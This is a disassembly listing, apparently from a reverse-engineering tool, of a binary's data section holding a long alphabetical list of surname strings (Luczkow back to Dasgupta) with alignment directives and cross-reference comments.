aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E004o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E000o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042DFFCo
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042DFF8o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042DFF4o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042DFF0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042DFECo
aLoss		db 'Loss',0             ; DATA XREF: ___:0042DFE8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042DFE4o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042DFE0o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042DFDCo
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042DFD8o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042DFD4o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042DFD0o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042DFCCo
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:0042DFC8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFC4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFC0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFBCo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFB8o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFB4o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042DFB0o
		align 10h
aLinda		db 'Linda',0            ; DATA XREF: ___:0042DFACo
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042DFA8o
aLim		db 'Lim',0              ; DATA XREF: ___:0042DFA4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042DFA0o
		align 10h
aLight		db 'Light',0            ; DATA XREF: ___:0042DF9Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042DF98o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042DF94o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042DF90o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042DF8Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042DF88o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042DF84o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042DF80o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042DF7Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042DF78o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042DF74o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042DF70o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042DF6Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042DF68o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042DF64o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042DF60o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042DF5Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042DF58o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042DF54o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042DF50o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: ___:0042DF4Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042DF48o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042DF44o
aLa		db 'La',0               ; DATA XREF: ___:0042DF40o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042DF3Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042DF38o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042DF34o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042DF30o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042DF2Co
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042DF28o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042DF24o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042DF20o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042DF1Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042DF18o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042DF14o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042DF10o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042DF0Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042DF08o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042DF04o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042DF00o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042DEFCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042DEF8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042DEF4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042DEF0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042DEECo
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042DEE8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042DEE4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042DEE0o
aKling		db 'Kling',0            ; DATA XREF: ___:0042DEDCo
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042DED8o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042DED4o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042DED0o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042DECCo
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042DEC8o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042DEC4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042DEC0o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042DEBCo
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042DEB8o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042DEB4o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042DEB0o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042DEACo
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: ___:0042DEA8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042DEA4o
		align 10h
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042DEA0o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042DE9Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042DE98o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042DE94o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042DE90o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042DE8Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: ___:0042DE88o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042DE84o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042DE80o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042DE7Co
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042DE78o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042DE74o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042DE70o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042DE6Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042DE68o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE64o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE60o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE5Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE58o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE54o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE50o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE4Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE48o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE44o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE40o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE3Co
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE38o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE34o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE30o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE2Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE28o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE24o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE20o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE1Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE18o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE14o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE10o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE0Co
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE08o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE04o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE00o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DDFCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042DDF8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DDF4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DDF0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DDECo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DDE8o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DDE4o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DDE0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DDDCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DDD8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DDD4o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DDD0o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DDCCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DDC8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDC4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDC0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDBCo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDB8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDB4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDB0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDACo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDA8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDA4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDA0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DD9Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DD98o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DD94o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DD90o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DD8Co
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DD88o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DD84o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DD80o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DD7Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DD78o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DD74o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DD70o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DD6Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DD68o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD64o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD60o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD5Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD58o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD54o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD50o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD4Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD48o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD44o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD40o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD3Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD38o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD34o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD30o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD2Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD28o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD24o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD20o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD1Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD18o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD14o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD10o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD0Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD08o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD04o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD00o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DCFCo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DCF8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DCF4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DCF0o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DCECo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DCE8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DCE4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DCE0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DCDCo
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DCD8o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DCD4o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DCD0o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DCCCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DCC8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCC4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCC0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCBCo
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCB8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCB4o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCB0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCACo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCA8o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCA4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCA0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DC9Co
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DC98o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DC94o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DC90o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DC8Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DC88o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DC84o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DC80o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DC7Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DC78o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DC74o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DC70o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DC6Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DC68o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC64o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC60o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC5Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC58o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC54o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC50o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC4Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC48o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC44o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC40o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC3Co
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC38o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC34o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC30o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC2Co
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC28o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC24o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC20o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC1Co
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC18o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC14o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC10o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC0Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC08o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC04o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC00o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DBFCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DBF8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DBF4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DBF0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DBECo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DBE8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DBE4o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DBE0o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DBDCo
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DBD8o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DBD4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DBD0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DBCCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DBC8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBC4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBC0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBBCo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBB8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBB4o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBB0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBACo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBA8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBA4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBA0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DB9Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DB98o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DB94o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DB90o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DB8Co
aFink		db 'Fink',0             ; DATA XREF: ___:0042DB88o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DB84o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:0042DB80o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DB7Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DB78o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DB74o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DB70o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DB6Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DB68o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB64o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB60o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB5Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB58o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB54o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB50o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB4Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB48o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB44o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB40o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB3Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB38o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB34o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB30o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB2Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB28o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB24o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB20o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB1Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB18o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB14o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB10o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB0Co
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB08o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB04o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB00o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DAFCo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DAF8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DAF4o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DAF0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DAECo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DAE8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DAE4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DAE0o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DADCo
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DAD8o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DAD4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DAD0o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DACCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DAC8o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DAC4o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAC0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DABCo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAB8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DAB4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAB0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:0042DAACo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAA8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DAA4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAA0o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DA9Co
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DA98o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DA94o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DA90o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DA8Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DA88o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DA84o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DA80o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DA7Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DA78o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DA74o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DA70o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DA6Co
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DA68o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA64o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA60o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA5Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA58o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA50o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA4Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA48o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA44o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA40o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA3Co
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA38o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA30o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA2Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA28o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA24o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA20o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA1Co
		align 4
